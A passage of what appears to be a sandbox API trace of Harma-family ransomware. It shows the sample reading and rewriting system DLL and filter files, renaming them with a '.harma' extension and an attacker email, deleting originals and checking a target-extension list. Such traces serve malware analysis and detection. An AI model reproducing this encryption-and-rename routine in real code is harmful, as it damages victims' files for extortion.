[0065.475] GetLastError () returned 0x0 [0065.475] ReadFile (in: hFile=0x15c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0065.495] WriteFile (in: hFile=0x208, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0065.573] ReadFile (in: hFile=0x15c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.573] WriteFile (in: hFile=0x208, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0065.573] SetEndOfFile (hFile=0x208) returned 1 [0065.573] CloseHandle (hObject=0x208) returned 1 [0065.574] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.574] SetEndOfFile (hFile=0x15c) returned 1 [0065.599] CloseHandle (hObject=0x15c) returned 1 [0065.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.599] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0065.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.600] lstrlenW (lpString=".doc") returned 4 [0065.600] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0065.600] lstrlenW (lpString=".docx") returned 5 [0065.600] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0065.600] lstrlenW (lpString=".pdf") returned 4 [0065.600] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0065.600] lstrlenW (lpString=".xls") returned 4 [0065.600] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0065.600] lstrlenW (lpString=".xlsx") returned 5 [0065.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0065.600] lstrlenW (lpString=".ppt") returned 4 [0065.600] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0065.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.600] lstrlenW (lpString=".zip") returned 4 [0065.600] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0065.600] lstrlenW (lpString=".rar") returned 4 [0065.600] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0065.600] lstrlenW (lpString=".bz2") returned 4 [0065.600] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0065.600] lstrlenW (lpString=".7z") returned 3 [0065.600] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0065.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.601] lstrlenW (lpString=".dbf") returned 4 [0065.601] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0065.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.601] lstrlenW (lpString=".1cd") returned 4 [0065.601] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0065.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.601] lstrlenW (lpString=".jpg") returned 4 [0065.601] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0065.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.601] lstrlenW (lpString=".doc") returned 4 [0065.601] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0065.601] lstrlenW (lpString=".docx") returned 5 [0065.601] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0065.601] lstrlenW (lpString=".pdf") returned 4 [0065.601] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0065.601] lstrlenW (lpString=".xls") returned 4 [0065.601] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0065.601] lstrlenW (lpString=".xlsx") returned 5 [0065.601] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0065.601] lstrlenW (lpString=".ppt") returned 4 [0065.601] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0065.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.601] lstrlenW (lpString=".zip") returned 4 [0065.602] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0065.602] lstrlenW (lpString=".rar") returned 4 [0065.602] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0065.602] lstrlenW (lpString=".bz2") returned 4 [0065.602] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0065.602] lstrlenW (lpString=".7z") returned 3 [0065.602] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0065.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.602] lstrlenW (lpString=".dbf") returned 4 [0065.602] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0065.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.602] lstrlenW (lpString=".1cd") returned 4 [0065.602] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0065.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0065.602] lstrlenW (lpString=".jpg") returned 4 [0065.602] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0065.602] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0065.602] lstrlenW (lpString="VISFILT.DLL") returned 11 [0065.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.965] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2124664) returned 1 [0065.965] CloseHandle (hObject=0x208) returned 1 [0065.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0065.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0065.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.966] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0x0) returned 1 [0065.966] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0065.966] ReadFile (in: hFile=0x208, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.971] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0065.971] ReadFile (in: hFile=0x208, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0065.974] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x315fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0065.974] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x315fc2c | out: lpNewFilePointer=0x0) returned 1 [0065.974] ReadFile (in: hFile=0x208, lpBuffer=0x3c20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x315fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c20058*, lpNumberOfBytesRead=0x315fc38*=0x40000, lpOverlapped=0x0) returned 1 [0066.000] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.000] WriteFile (in: hFile=0x208, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x315fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0066.267] SetEndOfFile (hFile=0x208) returned 1 [0066.590] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f13108 [0067.859] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0067.859] WriteFile (in: hFile=0x208, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.861] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0067.861] WriteFile (in: hFile=0x208, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.863] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x315fc7c | out: lpNewFilePointer=0x0) returned 1 [0067.863] WriteFile (in: hFile=0x208, lpBuffer=0x3f13108*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x315fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f13108*, lpNumberOfBytesWritten=0x315fc88*=0x40000, lpOverlapped=0x0) returned 1 [0067.864] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13108 | out: hHeap=0x5a0000) returned 1 [0067.864] CloseHandle (hObject=0x208) returned 1 [0067.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0067.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.865] lstrlenW (lpString=".doc") returned 4 [0067.865] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0067.865] lstrlenW (lpString=".docx") returned 5 [0067.865] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0067.865] lstrlenW (lpString=".pdf") returned 4 [0067.865] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0067.865] lstrlenW (lpString=".xls") returned 4 [0067.865] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0067.865] lstrlenW (lpString=".xlsx") returned 5 [0067.865] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0067.865] lstrlenW (lpString=".ppt") returned 4 [0067.865] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0067.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.866] lstrlenW (lpString=".zip") returned 4 [0067.866] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0067.866] lstrlenW (lpString=".rar") returned 4 [0067.866] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0067.866] lstrlenW (lpString=".bz2") returned 4 [0067.866] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0067.866] lstrlenW (lpString=".7z") returned 3 [0067.866] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0067.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.866] lstrlenW (lpString=".dbf") returned 4 [0067.866] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0067.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.866] lstrlenW (lpString=".1cd") returned 4 [0067.866] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0067.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.866] lstrlenW (lpString=".jpg") returned 4 [0067.866] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0067.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.866] lstrlenW (lpString=".doc") returned 4 [0067.866] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0067.866] lstrlenW (lpString=".docx") returned 5 [0067.866] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0067.866] lstrlenW (lpString=".pdf") returned 4 [0067.866] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0067.866] lstrlenW (lpString=".xls") returned 4 [0067.866] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0067.866] lstrlenW (lpString=".xlsx") returned 5 [0067.866] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0067.866] lstrlenW (lpString=".ppt") returned 4 [0067.867] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0067.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.867] lstrlenW (lpString=".zip") returned 4 [0067.867] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0067.867] lstrlenW (lpString=".rar") returned 4 [0067.867] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0067.867] lstrlenW (lpString=".bz2") returned 4 [0067.867] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0067.867] lstrlenW (lpString=".7z") returned 3 [0067.867] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0067.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.867] lstrlenW (lpString=".dbf") returned 4 [0067.867] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0067.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.867] lstrlenW (lpString=".1cd") returned 4 [0067.867] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0067.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0067.867] lstrlenW (lpString=".jpg") returned 4 [0067.867] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0067.867] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0067.867] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0067.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0067.868] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=320384) returned 1 [0067.868] CloseHandle (hObject=0x208) returned 1 [0067.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0067.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0067.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0067.869] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.869] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0067.869] GetLastError () returned 0x0 [0067.869] ReadFile (in: hFile=0x208, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0067.878] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0067.885] ReadFile (in: hFile=0x208, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0067.885] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0067.885] SetEndOfFile (hFile=0x1d0) returned 1 [0067.885] CloseHandle (hObject=0x1d0) returned 1 [0067.885] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.885] SetEndOfFile (hFile=0x208) returned 1 [0067.889] CloseHandle (hObject=0x208) returned 1 [0067.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0067.889] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0067.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.889] lstrlenW (lpString=".doc") returned 4 [0067.889] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0067.889] lstrlenW (lpString=".docx") returned 5 [0067.889] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0067.889] lstrlenW (lpString=".pdf") returned 4 [0067.889] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0067.889] lstrlenW (lpString=".xls") returned 4 [0067.889] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0067.889] lstrlenW (lpString=".xlsx") returned 5 [0067.889] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0067.889] lstrlenW (lpString=".ppt") returned 4 [0067.890] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0067.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.890] lstrlenW (lpString=".zip") returned 4 [0067.890] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0067.890] lstrlenW (lpString=".rar") returned 4 [0067.890] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0067.890] lstrlenW (lpString=".bz2") returned 4 [0067.890] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0067.890] lstrlenW (lpString=".7z") returned 3 [0067.890] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0067.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.890] lstrlenW (lpString=".dbf") returned 4 [0067.890] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0067.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.890] lstrlenW (lpString=".1cd") returned 4 [0067.890] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0067.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.890] lstrlenW (lpString=".jpg") returned 4 [0067.890] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0067.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.890] lstrlenW (lpString=".doc") returned 4 [0067.890] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0067.890] lstrlenW (lpString=".docx") returned 5 [0067.890] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0067.890] lstrlenW (lpString=".pdf") returned 4 [0067.890] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0067.890] lstrlenW (lpString=".xls") returned 4 [0067.890] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0067.890] lstrlenW (lpString=".xlsx") returned 5 [0067.891] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0067.891] lstrlenW (lpString=".ppt") returned 4 [0067.891] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0067.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.891] lstrlenW (lpString=".zip") returned 4 [0067.891] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0067.891] lstrlenW (lpString=".rar") returned 4 [0067.891] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0067.891] lstrlenW (lpString=".bz2") returned 4 [0067.891] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0067.891] lstrlenW (lpString=".7z") returned 3 [0067.891] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0067.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.891] lstrlenW (lpString=".dbf") returned 4 [0067.891] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0067.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.891] lstrlenW (lpString=".1cd") returned 4 [0067.891] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0067.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0067.891] lstrlenW (lpString=".jpg") returned 4 [0067.891] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0067.891] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0067.891] lstrlenW (lpString="JPEGIM32.FLT") returned 12 [0067.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 15 os_tid = 0x9f8 [0039.415] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3650708 [0039.415] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x3660710 [0039.416] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f03f0 [0039.416] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x5f30d0 [0039.416] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0408 [0039.416] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3cb0020 [0039.416] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0420 [0039.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5f0420, Size=0x20) returned 0x63fab8 [0039.416] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5f0420 [0039.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, 